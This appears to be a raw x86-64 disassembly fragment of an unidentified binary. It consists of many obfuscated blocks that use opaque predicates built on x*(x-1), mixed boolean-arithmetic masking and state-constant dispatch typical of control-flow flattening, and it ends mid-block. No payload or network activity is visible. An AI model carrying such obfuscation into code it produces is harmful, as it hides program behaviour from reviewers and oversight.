mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xa3b271e5
and edx, 0x5c4d8e1a
or edx, ecx
mov edi, edx
xor edi, 0x90010
xor edx, 0x204020
or ebx, 0x207b6838
mov ecx, ebx
not ecx
or edx, 0x93849504
and edx, 0x93e4dd2c
and edi, 0x201b2010
or edi, edx
and ebx, 0x93e4dd2c
and ecx, 0x4c0002c3
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xdf8497c7
and ecx, 0x207b6838
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xf4e62f0c
and ecx, 0xb19d0f3
or ecx, ebx
xor ecx, 0xb19d0f2
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x142c851
mov ebx, ecx
and ebx, 0x34212000
or ebx, edx
xor ebx, 0x34212000
and ecx, 0xca9c17ae
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x651de97c
and ecx, 0x9ae21683
or ecx, edx
mov edx, ecx
xor edx, 0x8c01fa82
xor ecx, 0x50680029
and ecx, 0x73e80479
and edx, 0x8c17fb86
or edx, ecx
mov ecx, edx
xor ecx, 0x8c176a04
xor edx, 0x43200071
and edx, 0x432091f3
and ecx, 0xbcdf6e0c
or ecx, edx
xor ecx, 0x432091f3
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or dl, al
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2293552b
mov ebx, 0x4987c369
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x2293552b
cmovne eax, ebx
jmp 0x1401a10d4
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x12b4af02
and edx, ebx
not ebx
and ebx, 0xa02002
and ecx, 0x12148f00
or ecx, ebx
mov ebx, ecx
xor ebx, 0x10148f00
xor ecx, 0xedeb70ff
mov edi, edx
not edi
mov esi, ecx
and esi, 0x238a2043
and ebx, 0x10348f00
or ebx, esi
or ecx, edi
and edi, 0x238a2043
and edx, 0xdc75dfbc
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x206f7045
and ecx, 0xdf908fba
or ecx, edx
mov edi, ecx
xor edi, 0xcd2420b8
mov edx, ecx
xor edx, 0xcd2420b9
and edx, edi
xor ecx, 0x220bd645
and ecx, 0xaf0fd67d
and edi, 0x50f02982
or edi, ecx
mov ecx, edi
xor ecx, 0x802882
mov ebx, edx
not ebx
xor edi, 0xaf0fd67c
mov esi, ebx
and esi, 0x79749135
and edx, 0x868b6eca
or edx, esi
or ebx, edi
and edi, 0x79749135
and ecx, 0x868b6eca
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x50abf3d4
and edx, ebx
not ebx
and ebx, 0x833344
and ecx, 0x5028c090
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40080080
xor ecx, 0xafd73f6f
mov edi, edx
not edi
mov esi, ecx
and esi, 0x12f5d019
and ebx, 0x400a23c4
or ebx, esi
or ecx, edi
and edi, 0x12f5d019
and edx, 0xed0a2fe6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8d83ef15
and ecx, 0x727c10ea
or ecx, edx
mov edx, ecx
xor edx, 0x2210020e
xor ecx, 0xdd281cc1
mov ebx, ecx
and ebx, 0x4c7e530
and edx, 0xfb381acf
or edx, ebx
xor edx, 0xfb381acf
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
and dl, cl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, ecx
xor al, r8b
not al
and al, r8b
or cl, r8b
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test bl, 1
mov edx, 0xb1f7e1ce
mov ebx, 0x4f8256d6
cmovne edx, ebx
test cl, 1
mov ecx, 0xb1f7e1ce
cmovne edx, ecx
test al, 1
jmp 0x1401a2243
mov ecx, dword [0x1402656c8]
mov esi, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x53c7709d
mov edi, edx
not edi
or ebx, 0xac388f62
mov ecx, ebx
not ecx
and edx, 0x9f3d77ec
and edi, 0x20008802
or edi, edx
and ebx, 0x9f3d77ec
and ecx, 0x40c20011
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x53c7709d
and ecx, 0xac388f62
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x8a1ff0c0
and ecx, 0x75e00f3f
or ecx, edx
xor ecx, 0x75e00f3e
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0x8641137b
and edx, ecx
not ecx
and ecx, 0x8641137b
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb7baae03
and edx, 0x484551fc
or edx, ecx
xor edx, 0xce044287
setne al
sete dl
cmp esi, 0xa
setl bl
cmp esi, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov r8d, eax
xor r8b, 1
mov edx, r8d
xor dl, bl
or bl, r8b
xor bl, 1
or bl, dl
mov edx, ebx
not dl
mov ecx, eax
xor cl, bl
and cl, al
and dl, r8b
and bl, al
or bl, dl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x86081021
mov ebx, 0x6fa02510
cmovne eax, ebx
test cl, cl
mov ecx, 0x86081021
cmove eax, ecx
test dl, 1
cmovne eax, ebx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4866de33
and eax, ecx
and ecx, 0xb79921cc
or ecx, edx
mov edx, ecx
xor edx, 0x1180204c
xor ecx, 0x4866de33
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0xae791b92
and edx, 0x5186e46d
or edx, edi
or ecx, ebx
and ebx, 0xae791b92
and eax, 0x5186e46d
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc7dd1b65
mov eax, ecx
and eax, 0x3822e49a
or eax, edx
mov edx, eax
not edx
and edx, 0xef434cca
and eax, 0x10bcb335
or eax, edx
mov edx, eax
xor edx, 0xc4402850
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xdc9e84fa
and ecx, 0x23617b05
or ecx, ebx
mov ebx, ecx
xor ebx, 0x406804
xor eax, 0x289e57ae
xor ecx, 0xdc9e84fa
mov edi, eax
and edi, 0x3bb597a1
and edx, 0xc44a685e
or edx, edi
or eax, ecx
and ecx, 0x3bb597a1
and ebx, 0xc44a685e
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x30631589
and ecx, 0xcf9cea76
or ecx, edi
or eax, ebx
and ebx, 0x30631589
and edx, 0xcf9cea76
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1d8b5af2
and eax, 0xe274a50d
or eax, ecx
mov ecx, eax
xor ecx, 0xe200800d
xor eax, 0x8024200
and eax, 0x8766700
and ecx, 0xf78998ff
or ecx, eax
mov eax, ecx
xor eax, 0x660300
xor ecx, 0xe5809059
and ecx, 0xed90f459
and eax, 0x126f0ba6
or eax, ecx
xor eax, 0x126f0ba6
sete bl
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
or dl, bl
xor dl, 1
xor bl, cl
or dl, bl
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
xor al, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0xab988a6
mov ebx, 0xa93159e5
cmovne edx, ebx
test cl, cl
mov ecx, 0xab988a6
cmovne ecx, edx
test al, al
jmp 0x14019f00b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
or edi, 0x522673e9
mov edx, edi
not edx
or ebx, 0x110c10
and ebx, 0x40152df0
and ecx, 0x12225209
or ecx, ebx
and edi, 0x40152df0
and edx, 0xadc88006
or edx, edi
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xadd98c16
and edx, 0x522673e9
or edx, ecx
mov edi, edx
mov ebx, edx
xor ebx, 0x7d7fd270
and ebx, edx
not edx
and edx, 0xfbb9682c
and edi, 0x44697d3
or edi, edx
mov edx, edi
xor edx, 0x44697d3
mov ecx, edi
xor ecx, 0x86c6ba5c
and ecx, edx
mov esi, ecx
and esi, ebx
xor ebx, ecx
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x82802d8e
and ebx, 0x7d7fd271
or ebx, ecx
and edx, 1
xor edi, 0x44697d2
or edi, edx
mov ecx, edi
not ecx
mov edx, ebx
not edx
mov esi, edx
and esi, 0xbc9f837d
and ebx, 0x43607c82
or ebx, esi
or edx, edi
and edi, 0xbc9f837d
and ecx, 0x43607c82
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xf700810e
and edx, 0x8ff7ef1
or edx, ecx
mov edi, edx
xor edi, 0x122090
xor edx, 0x4008008
or ebx, 0x9692f098
mov ecx, ebx
not ecx
or edx, 0x20480166
and edx, 0x24c8d16e
and edi, 0x92122090
or edi, edx
and ebx, 0x24c8d16e
and ecx, 0x49250e01
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x696d0f67
and ecx, 0x9692f098
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xb7989493
and edx, 0x48676b6c
or edx, ecx
mov ecx, edx
xor ecx, 0x17081081
xor edx, 0x48002260
and edx, 0xe890a672
and ecx, 0x176f598d
or ecx, edx
xor ecx, 0x176f598d
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, cl
and cl, r8b
or cl, dl
xor cl, 1
or cl, al
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor dl, 1
and dl, cl
xor cl, 1
and bl, cl
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x452d78fc
mov ebx, 0x489c07a
cmovne ecx, ebx
test al, 1
mov eax, 0x452d78fc
cmovne eax, ecx
test dl, 1
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x12ca89f2
and ecx, 0xed35760d
or ecx, edx
mov edx, ecx
xor edx, 0x12ca89f2
xor ecx, 0xed35760c
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x91e5574c
mov ecx, edi
not ecx
or edx, 0x802a802
and edx, 0x8a2fa4a
and ebx, 0x91450504
or ebx, edx
and edi, 0x8a2fa4a
and ecx, 0x661800b1
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x5539adac
and ecx, 0xaac65253
or ecx, edx
mov edx, ecx
xor edx, 0x30012
xor ecx, 0xc4dcfae0
mov ebx, ecx
and ebx, 0x7fa83d4d
and edx, 0x8057c2b2
or edx, ebx
xor edx, 0x8057c2b2
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, r9d
xor al, r8b
and al, r9b
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
mov r11d, ebx
and r11b, al
xor bl, al
or bl, r11b
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
and al, cl
xor dl, 1
and dl, r10b
or dl, al
and r8b, r10b
or r10b, r9b
and cl, r9b
or cl, r8b
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and bl, al
and cl, dl
or cl, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc6cfc805
mov ebx, 0x28d60213
cmovne edx, ebx
test al, 1
mov eax, 0xc6cfc805
cmovne eax, edx
jmp 0x1401a1193
mov ecx, dword [0x1402656c8]
mov edi, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x695a3420
and edx, ebx
not ebx
and ebx, 0x695a3420
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd061c3be
and edx, 0x2f9e3c41
or edx, ecx
mov ecx, edx
xor ecx, 0x46c40861
xor edx, 0xb93bf79e
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x5be29072
and ecx, 0xa41d6f8d
or ecx, edx
mov edx, ecx
xor edx, 0x84194f08
xor ecx, 0x1ae28020
and ecx, 0x3ae6a0a5
and edx, 0xc5195f5a
or edx, ecx
mov ecx, edx
xor ecx, 0x2c0a0a0
xor edx, 0xc019470a
and edx, 0xf83f470f
and ecx, 0x7c0b8f0
or ecx, edx
xor ecx, 0x7c0b8f0
sete cl
setne al
cmp edi, 0xa
setl r9b
cmp edi, 9
setg r8b
mov edx, eax
and dl, r8b
mov ebx, r9d
and bl, cl
or bl, dl
xor bl, 1
or bl, r8b
or al, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2d0e28a2
mov ebx, 0x6f01293c
cmovne edx, ebx
test cl, 1
mov ecx, edx
mov ebx, 0x2d0e28a2
cmovne ecx, ebx
test al, 1
cmovne ecx, edx
jmp 0x1401a26c0
mov eax, 0x454cbe2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xabb2ebcf
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x44a01a0
mov ecx, ebx
and ecx, 0x8258018
or ecx, edx
xor ecx, 0x8258018
mov edx, ebx
and edx, 0xf3907e47
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3fa021c8
and edx, 0xc05fde37
or edx, ecx
mov ecx, edx
xor ecx, 0xcc305f8e
xor edx, 0x12860021
mov edi, ecx
and edi, 0x6d59ae52
and edx, 0x92a651ad
or edx, edi
or ecx, ebx
and ebx, 0x6d59ae52
and eax, 0x92a651ad
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne bl
sete cl
cmp dword [0x1402656c4], 9
setg dl
xor cl, dl
and cl, dl
xor bl, dl
mov edx, ecx
xor dl, 1
mov r8d, ebx
xor r8b, 1
xor cl, bl
or dl, r8b
xor dl, 1
or dl, cl
mov ecx, edx
not cl
mov eax, ebx
xor al, dl
and al, bl
and cl, r8b
and dl, bl
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x7b22e6a1
mov ebx, 0x62fbde90
cmovne edx, ebx
test al, al
mov eax, 0x7b22e6a1
cmove edx, eax
test cl, cl
cmovne edx, ebx
jmp 0x1401a2246
mov eax, 0xa55e7baf
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xfc979d21
mov ecx, ebx
xor ecx, 0xfc979d21
and ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x36862df
and ecx, 0xfc979d20
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6cc08cda
mov ebx, 0xb402351b
cmovne eax, ebx
test cl, cl
mov ecx, 0x6cc08cda
jmp 0x14019f0fb
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfdc3bcf2
and edx, ebx
not ebx
and ebx, 0x4941bc80
and ecx, 0xb4820072
or ecx, ebx
xor ecx, 0xb4820072
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x86fc1a9b
and edx, 0x7903e564
or edx, ecx
mov r9d, edx
xor r9d, 0x800812
mov ecx, edx
xor ecx, 0x7b3fa669
xor edx, 0xc0f6cf03
and edx, ecx
mov eax, ecx
or eax, 0x44369695
mov esi, eax
not esi
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xc9762b8
and edx, 0xf3689d47
or edx, edi
or ebx, eax
and eax, 0xc9762b8
and esi, 0xb3480942
or esi, eax
xor esi, edx
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xbbc9696b
and ebx, 0x44369694
or ebx, eax
and r9d, 0x7ba10c12
mov eax, ecx
and eax, 0x845ef3ed
or eax, r9d
xor eax, 0x7ba10c13
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x48bac4d6
and ecx, 0xb7453b29
or ecx, eax
xor ecx, 0xb7453b29
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
or ecx, 0xa32ebe6b
mov ebx, ecx
not ebx
or eax, 0x5cd14194
mov edx, eax
not edx
and ecx, 0x7419f874
and ebx, 0x8c00180
or ebx, ecx
and eax, 0x7419f874
and edx, 0x8326060b
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0xa32ebe6b
and edx, 0x5cd14194
or edx, eax
mov eax, edx
not eax
and eax, 0x5168eca9
and edx, 0xae971356
or edx, eax
mov eax, edx
xor eax, 0xa4971112
xor edx, 0x1160a820
and edx, 0x1b60aa64
and eax, 0xe49f559b
or eax, edx
xor eax, 0x1b60aa64
cmp eax, 0xffffffff
sete cl
setne dl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and dl, bl
mov eax, r9d
and al, cl
or al, dl
xor al, 1
or al, bl
xor bl, cl
not bl
and bl, cl
xor cl, r9b
and cl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
xor bl, al
xor al, 1
or dl, r8b
xor dl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x82a65cce
mov ebx, 0x2f7f2f2
cmovne eax, ebx
test cl, 1
mov ecx, 0x82a65cce
cmovne ecx, eax
test dl, 1
jmp 0x14019f4d9
mov edx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xe76e0335
and edx, ecx
and ecx, 0x1891fcca
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1000c848
xor ecx, 0xe76e0335
mov edi, edx
not edi
mov esi, ecx
and esi, 0x6c953593
and ebx, 0x936aca6c
or ebx, esi
or ecx, edi
and edi, 0x6c953593
and edx, 0x936aca6c
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
mov edi, ecx
xor edi, 0x7fb98e4c
and edi, ecx
not ecx
and ecx, 0x642a453a
and ebx, 0x9bd5bac5
or ebx, ecx
mov r8d, ebx
xor r8d, 0x9bd5bac5
mov edx, ebx
xor edx, 0x1b93cb76
and edx, r8d
mov ecx, edx
not ecx
mov eax, edi
not eax
mov esi, ecx
and esi, 0xa6a559f9
and edx, 0x595aa606
or edx, esi
or ecx, eax
and eax, 0xa6a559f9
and edi, 0x595aa606
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x966b864b
and ecx, 0x699479b4
or ecx, eax
mov edi, ecx
xor edi, 0x10281788
and r8d, 1
xor ebx, 0x9bd5bac4
or ebx, r8d
mov eax, ebx
not eax
and eax, 0xbf67e4cd
and ebx, 0x40981b32
or ebx, eax
mov eax, ebx
xor eax, 0x40881b02
xor ebx, 0xbf67e4cd
xor ecx, 0xe9d20806
mov edx, ecx
and edx, 0x757e071
and edi, 0xf8a81f8e
or edi, edx
or ecx, ebx
and ebx, 0x757e071
and eax, 0xf8a81f8e
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1b3bb988
and ecx, 0xe4c44677
or ecx, eax
mov eax, ecx
xor eax, 0x64800015
xor ecx, 0x11180808
and ecx, 0x915c4e6a
and eax, 0x6ea3b195
or eax, ecx
mov ecx, eax
xor ecx, 0x14c0842
xor eax, 0x2820015
and eax, 0x9292463d
and ecx, 0x6d6db9c2
or ecx, eax
mov eax, ecx
xor eax, 0x2c209880
xor ecx, 0x80924015
and ecx, 0xc1df6157
and eax, 0x3e209ea8
or eax, ecx
mov ecx, eax
xor ecx, 0x81c10052
xor eax, 0x24201c00
and eax, 0x643e7d05
and ecx, 0x9bc182fa
or ecx, eax
xor ecx, 0x9bc182fa
sete cl
setne r10b
cmp r9d, 0xa
setl r8b
cmp r9d, 9
setg r9b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r11d, edx
and r11b, bl
xor dl, bl
or dl, r11b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov ebx, eax
xor bl, r10b
not bl
and bl, r10b
or al, r10b
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
xor cl, r8b
or r9b, r10b
xor r9b, 1
or r9b, cl
xor cl, 1
mov eax, ecx
xor al, r9b
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
or bl, cl
xor al, 1
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xee17d003
mov edx, 0x118b699e
cmovne eax, edx
test bl, 1
mov ebx, 0xee17d003
cmovne eax, ebx
test cl, 1
jmp 0x1401a2f6c
mov eax, 0x4603cd45
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x944ab719
and edx, ebx
not ebx
and ebx, 0x944ab719
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6bb548e6
and edx, 0x944ab719
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x6cc95a02
and edx, 0x9336a5fd
or edx, ecx
mov ecx, edx
xor ecx, 0x9336a5fd
xor edx, 0x6cc95a02
mov esi, edx
or esi, 0xbc2f8af8
mov eax, esi
not eax
or edi, 0x43d07507
mov ebx, edi
not ebx
and esi, 0x236af931
and eax, 0x40900406
or eax, esi
and edi, 0x236af931
and ebx, 0x9c0502c8
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0xbc2f8af9
and ebx, 0x43d07506
or ebx, eax
and edx, 0x6de7fc30
mov eax, ecx
and eax, 0x921803cf
or eax, edx
xor eax, 0x6de7fc31
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9a1a469a
and ecx, 0x65e5b965
or ecx, eax
xor ecx, 0x65e5b965
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x751c38d5
and ecx, 0x8ae3c72a
or ecx, eax
mov eax, ecx
xor eax, 0xa020720
xor ecx, 0x101020d4
and eax, 0x6f0e1f21
and ecx, 0x90f1e0de
or ecx, eax
xor ecx, 0x90f1e0de
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor cl, al
mov eax, ecx
not al
and al, dl
xor dl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0xefbbee6f
mov edx, 0x75c748d6
cmovne ecx, edx
test bl, bl
mov ebx, 0xefbbee6f
cmove ecx, ebx
test al, al
cmovne ecx, edx
jmp 0x1401a26c0
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov edx, esi
or edx, 1
mov edi, edx
not edi
mov ebx, esi
xor ebx, 0xfffffffe
and ebx, esi
mov eax, ebx
not eax
mov r9d, edx
and r9d, 0x2e1e286c
and edi, 0xd1e1d792
or edi, r9d
or edx, eax
and eax, 0x2e1e286c
and ebx, 0xd1e1d793
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xd3ef994b
and edx, 0x2c1066b4
or edx, ebx
and esi, 0xd3ef994b
and ecx, 0x2c1066b4
or ecx, esi
xor ecx, edx
xor eax, ecx
test eax, ecx
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ebx
and al, dl
and r9b, bl
xor bl, dl
or bl, al
and cl, dl
or cl, r9b
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov r8d, edx
xor dl, 1
and dl, bl
xor al, bl
xor bl, 1
and r8b, bl
or dl, r8b
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf69bc0a9
mov ebx, 0xcdb63d03
cmovne eax, ebx
test cl, 1
mov ecx, 0xf69bc0a9
cmovne ecx, eax
test dl, dl
jmp 0x1401a26bd
cmp qword [rbp - 8], 0
sete byte [rbp + 7]
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x2000c
mov ecx, ebx
and ecx, 0x11a10882
or ecx, edx
xor ecx, 0x11a10882
mov edx, ebx
and edx, 0xee5cf771
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xee5cf770
and edx, 0x11a3088f
or edx, ecx
and edi, 0xc1955ba6
and ebx, 0x3e6aa459
or ebx, edi
mov ecx, ebx
xor ecx, 0x2a8410
mov edi, edx
not edi
mov esi, edi
and esi, 0x7f5172cb
and edx, 0x80ae8d34
or edx, esi
xor ebx, 0x41115282
and ebx, 0x7f5172cb
and ecx, 0x80ae8d34
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
xor bl, 1
mov ecx, eax
or cl, bl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xdaa8edab
mov ebx, 0xa2bcc3f2
cmovne edx, ebx
test cl, cl
mov ecx, 0xdaa8edab
cmovne edx, ecx
test al, al
jmp 0x1401a2243
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
